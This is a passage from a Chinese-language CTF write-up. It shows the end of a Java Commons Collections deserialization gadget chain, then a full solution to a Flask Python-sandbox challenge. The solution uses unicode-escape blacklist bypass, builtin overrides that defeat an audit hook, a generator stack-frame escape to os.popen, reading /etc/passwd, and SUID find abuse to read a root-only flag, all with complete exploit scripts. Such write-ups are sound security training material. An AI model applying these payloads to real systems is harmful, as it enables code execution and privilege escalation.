public static byte[] getPayload() throws Exception {
byte[] bytecode = getBytecode();
TemplatesImpl tpl = new TemplatesImpl();
setFieldValue(tpl, "_bytecodes", new byte[][] { bytecode });
setFieldValue(tpl, "_name", "NOT NULL");
Transformer transformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { tpl });
Transformer fakeTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, fakeTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, TrAXFilter.class);
Map map = new HashMap();
map.put(tiedMapEntry, "value");
outerMap.remove(TrAXFilter.class);
setFieldValue(outerMap, "factory", transformer);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
return baos.toByteArray();
}
}
现在生成的 Payload 长度只有 4848
发送到 /deserialize
接口,访问 /show
接口即可看到 flag
PyBox
响应头显示 Python/3.11.9
。根路由给出了源码:
from flask import Flask, request, Response
import multiprocessing
import sys
import io
import ast
app = Flask(__name__)
class SandboxVisitor(ast.NodeVisitor):
forbidden_attrs = {
"__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
"__globals__", "__code__", "__closure__", "__func__", "__self__",
"__module__", "__import__", "__builtins__", "__base__"
}
def visit_Attribute(self, node):
if isinstance(node.attr, str) and node.attr in self.forbidden_attrs:
raise ValueError
self.generic_visit(node)
def visit_GeneratorExp(self, node):
raise ValueError
def sandbox_executor(code, result_queue):
safe_builtins = {
"print": print,
"filter": filter,
"list": list,
"len": len,
"addaudithook": sys.addaudithook,
"Exception": Exception
}
safe_globals = {"__builtins__": safe_builtins}
sys.stdout = io.StringIO()
sys.stderr = io.StringIO()
try:
exec(code, safe_globals)
output = sys.stdout.getvalue()
error = sys.stderr.getvalue()
result_queue.put(("ok", output or error))
except Exception as e:
result_queue.put(("err", str(e)))
def safe_exec(code: str, timeout=1):
code = code.encode().decode('unicode_escape')
tree = ast.parse(code)
SandboxVisitor().visit(tree)
result_queue = multiprocessing.Queue()
p = multiprocessing.Process(target=sandbox_executor, args=(code, result_queue))
p.start()
p.join(timeout=timeout)
if p.is_alive():
p.terminate()
return "Timeout: code took too long to run."
try:
status, output = result_queue.get_nowait()
return output if status == "ok" else f"Error: {output}"
except:
return "Error: no output from sandbox."
CODE = """
def my_audit_checker(event,args):
allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
if not list(filter(lambda x: event == x, allowed_events)):
raise Exception
if len(args) > 0:
raise Exception
addaudithook(my_audit_checker)
print("{}")
"""
badchars = "\"'|&`+-*/()[]{}_."
@app.route('/')
def index():
return open(__file__, 'r').read()
@app.route('/execute', methods=['POST'])
def execute():
text = request.form['text']
for char in badchars:
if char in text:
return Response("Error", status=400)
output = safe_exec(CODE.format(text))
if len(output) > 5:
return Response("Error", status=400)
return Response(output, status=200)
if __name__ == '__main__':
app.run(host='0.0.0.0')
- 代码执行端点:
/execute
路径接收一个 POST 请求,参数为text
- 字符黑名单:
/execute
会检查用户输入的text
是否包含"'|&
+-*/()[]{}_.` 中的任何字符。如果包含,则返回 400 错误 - 代码模板: 定义了一个
CODE
字符串模板,用户的text
输入经过一些检查会被格式化到 print 中 - 沙箱执行 (
safe_exec
):- Unicode 解码: 对格式化后的完整代码执行
encode().decode('unicode_escape')
,这会将\xNN
这样的 unicode 转义序列转换为对应的字符 - AST 检查 (
SandboxVisitor
): 使用ast
模块解析代码,并通过SandboxVisitor
检查是否存在对禁用属性(如__class__
,__dict__
,__bases__
,__subclasses__
等)的访问,以及是否使用了生成器表达式 (GeneratorExp
)。如果发现违规,会抛出ValueError
- 子进程执行: 在一个单独的
multiprocessing.Process
子进程中执行代码,以提供操作系统级别的隔离 - 超时限制: 执行时间限制为 1 秒,超时会终止子进程
- 受限环境 (
sandbox_executor
):- 重定向输出: 将子进程的
sys.stdout
和sys.stderr
重定向到io.StringIO
以便捕获输出 - 受限 Builtins:
exec
函数执行代码时,只提供一个非常有限的__builtins__
字典 (safe_builtins
),仅包含print
,filter
,list
,len
,addaudithook
,Exception
- 受限 Globals:
exec
函数的globals
参数被设置为{"__builtins__": safe_builtins}
,进一步限制了可访问的全局变量
- 重定向输出: 将子进程的
- 结果返回: 捕获子进程的输出或错误,并返回给主进程
- Unicode 解码: 对格式化后的完整代码执行
- 审计钩子 (
my_audit_checker
):CODE
模板在执行print
之前,定义了一个名为my_audit_checker
的函数,并使用addaudithook
将其注册为审计钩子- 这个钩子只允许
"import"
,"time.sleep"
,"builtins.input"
,"builtins.input/result"
这几个事件。任何其他事件(如exec
,open
, 大部分内置函数调用等)都会导致抛出Exception
- 即使是允许的事件,如果其参数列表 (
args
) 的长度大于 0,也会抛出Exception
。这意味着几乎所有带参数的函数调用(甚至import os
,因为os
是参数)都会被阻止
- 这个钩子只允许
- 输出长度限制:
/execute
检查safe_exec
返回的输出。如果输出长度超过 5 个字符,返回 400
绕过检查后在前面加上 ")
,后面加上 ("
就可以另起多行写任意代码
本地测试先去掉输出长度限制。远程不能用 Exception 直接回显信息,因为 "Error: {}" 长度必超 5
- 绕过字符限制
在字符检查过后在 safe_exec
中有一行 Unicode 转义: code = code.encode().decode('unicode_escape')
这意味着我们可以通过 \xNN 这样的形式输入任意字符,包括在 badchars 中的字符
这样转换:
def to_unicode(code: str) -> str:
BLACKLIST = set(list(r"\"'|&`+-*/()[]{}_."))
parts = []
for ch in code:
if ch in BLACKLIST:
parts.append("\\u%04x" % ord(ch))
else:
parts.append(ch)
return "".join(parts)
CODE = """")
raise Exception("echo")
"""
print(to_unicode(CODE))
- 覆盖允许事件和 len
调试的时候修改钩子函数以查看触发了什么禁止事件以及包含了什么参数:
def my_audit_checker(event,args):
print('[+] ', event)
allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
if not list(filter(lambda x: event == x, allowed_events)):
raise Exception('Operation not permitted: ' + event)
if len(args) > 0:
raise Exception(args)
然后因为 allowed_event 是个列表,所以令 list 是个返回固定数组的函数,使得允许任何想要的事件
同理,len 也可以改成返回 0 的函数
__builtins__['list'] = lambda x: ['import', 'time.sleep', 'builtins.input', 'builtins.input/result','exec', 'compile', 'object.__getattr__']
__builtins__['len'] = lambda x: 0
- 栈帧逃逸
因为生成器表达式是用不了的(AST 解析到就抛出异常)。所以用如下代码获取到外部的 __builtins__
def f():
global x, frame
frame = x.gi_frame.f_back.f_back.f_globals
yield
x = f()
x.send(None)
raise Exception(frame)
成功获取到了外部的全局变量。那么就可以执行任意命令了
但是要注意线程运行超了一秒就会被毙掉,所以要尽量减少操作(尝试过把外部 builtins 赋值给里面的,再重新设置 list 和 len,超时了)
raise Exception(frame['__builtins__']['__import__']('os').popen('cat /etc/passwd').read())
结合起来就是:
")
__builtins__['list'] = lambda x: ['import', 'time.sleep', 'builtins.input', 'builtins.input/result','exec', 'compile', 'object.__getattr__']
__builtins__['len'] = lambda x: 0
def f():
global x, frame
frame = x.gi_frame.f_back.f_back.f_globals
yield
x = f()
x.send(None)
print(frame['__builtins__']['__import__']('os').popen('cat /etc/passwd').read())
")
然而上面的代码本地能用,打远程就返回 Error。排查一下错误:
__builtins__['list'] = lambda x: ['import', 'time.sleep', 'builtins.input', 'builtins.input/result','exec', 'compile', 'object.__getattr__']
__builtins__['len'] = lambda x: 0
def f():
global x, frame
frame = x.gi_frame.f_back.f_back.f_globals
yield
x = f()
x.send(None)
if frame['__builtins__']:
print(1)
这里是正常的,在后面加个 ['__import__']
就 Error 了。不过再往前回溯一次就有了:
frame = x.gi_frame.f_back.f_back.f_back.f_globals
- 输出
输出限制在了 5 个字符以内。可以将命令结果用切片输出。测试知使用以上代码,切片 2 位输出不会超过 5
回显内容前后有换行符会占长度,需要实际测试修正
import requests
def to_unicode(code: str) -> str:
BLACKLIST = set(list(r"\"'|&`+-*/()[]{}_."))
parts = []
for ch in code:
if ch in BLACKLIST:
parts.append("\\u%04x" % ord(ch))
else:
parts.append(ch)
return "".join(parts)
CODE = r"""")
__builtins__['list'] = lambda x: ['import', 'time.sleep', 'builtins.input', 'builtins.input/result','exec', 'compile', 'object.__getattr__']
__builtins__['len'] = lambda x: 0
def f():
global x, frame
frame = x.gi_frame.f_back.f_back.f_back.f_globals
yield
x = f()
x.send(None)
print(frame['__builtins__']['__import__']('os').popen('CMD').read()[N1:N2])
("\""""
URL = "http://127.0.0.1:3000/execute"
COMMAND = r"ls -l /"
result = ""
for i in range(0, 50, 2):
resp = requests.post(URL, data={"text": to_unicode(CODE.replace("CMD", COMMAND).replace("N1", str(i)).replace("N2", str(i + 2)))})
output = resp.text[1:-1]
print(output)
result += output
print(result)
根目录有个 m1n1FL@G,没权限读,但是可以读 entrypoint.sh
-rwxr-xr-x 1 root root 272 May 1 16:15 entrypoint.sh
-rw------- 1 root root 101 May 7 07:33 m1n1FL@G
#!/bin/sh
echo $FLAG > /m1n1FL@G
echo "\nNext, let's tackle the more challenging misc/pyjail">> /m1n1FL@G
chmod 600 /m1n1FL@G
chown root:root /m1n1FL@G
chmod 4755 /usr/bin/find
useradd -m minilUser
export FLAG=""
chmod -R 777 /app
su minilUser -c "python /app/app.py"
4755
权限即 rwsr-xr-x
。前面的 4 表示 SUID,find 通常是 root 用户所有的,所以运行 find 时是以 root 用户运行
那么这样就可以读取 flag 了:
find / -name m1n1FL@G -exec cat {} \;
完整代码:
import requests
def to_unicode(code: str) -> str:
BLACKLIST = set(list(r"\"'|&`+-*/()[]{}_."))
parts = []
for ch in code:
if ch in BLACKLIST:
parts.append("\\u%04x" % ord(ch))
else:
parts.append(ch)
return "".join(parts)
CODE = r"""")
__builtins__['list'] = lambda x: ['import', 'time.sleep', 'builtins.input', 'builtins.input/result','exec', 'compile', 'object.__getattr__']
__builtins__['len'] = lambda x: 0
def f():
global x, frame
frame = x.gi_frame.f_back.f_back.f_back.f_globals
yield
x = f()
x.send(None)
print(frame['__builtins__']['__import__']('os').popen('CMD').read()[N1:N2])
("\""""
URL = "http://127.0.0.1:3000/execute"
COMMAND = r"find / -name m1n1FL@G -exec cat {} \;"
result = ""
for i in range(0, 50, 2):
resp = requests.post(URL, data={"text": to_unicode(CODE.replace("CMD", COMMAND).replace("N1", str(i)).replace("N2", str(i + 2)))})
output = resp.text[1:-1]
print(output)
result += output
print(result)
flag 是带 emoji 的。之前用的 shell 命令切片 tr -d "\n" | cut -c 1-2
切到 emoji 时服务器会返回 error。改用 Python 的字符串切片就正常了